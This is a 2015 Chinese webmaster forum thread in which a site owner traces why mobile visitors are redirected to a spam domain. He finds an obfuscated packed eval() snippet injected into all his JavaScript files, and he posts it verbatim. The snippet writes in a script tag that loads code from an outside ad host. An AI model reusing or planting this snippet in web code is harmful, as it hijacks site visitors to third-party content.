全球主机交流论坛

标题: 手机访问跳转到http://baidu-google-sogou-soso-360-qq.lrh6.com [打印本页]

作者: 521vps 时间: 2015-4-29 20:42
标题: 手机访问跳转到http://baidu-google-sogou-soso-360-qq.lrh6.com
电脑访问正常电脑模拟手机访问正常手机访问就跳到上面去了

排查工作量有点大试了下360网站查杀没查出来

目录搜索了一些关键字也找不到应该是加密了或者JS

大概查了下JS 文件也比较多，好像没问题

查了一下手机访问生成的静态文件也没发现问题

这是什么鸟玩意插到哪里了有人遇到过么怎么处理的给点思路

(, 下载次数: 0)

作者: hising 时间: 2015-4-29 20:55
今天上1024部分帖子也是跳转到了这个地址

作者: 521vps 时间: 2015-4-29 21:01
TMD的找到了所有JS 全部插了

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7.6("<0 8=\"a\" 9=\"2/1\" 3=\"5\" 4=\"h://g.i.k/j.c?b=d&f=e\"></0>")',21,21,'script|javascript|text|charset|src|gb2312|writeln|document|id|type|wf|l|php|tjq|1470|uid|app|http|adanzhuo|appiso|com'.split('|'),0,{}))

复制代码

作者: oskey 时间: 2015-4-29 21:03
做cpa的。好厉害

作者: Feather 时间: 2015-4-29 21:28
对，近来这种很多，都是手机访问跳到广告，在JS文件里，去混淆解密下就能看见地址了

作者: mtx 时间: 2015-4-29 22:36

欢迎光临全球主机交流论坛 (https://fd.vvwvv.eu.org/)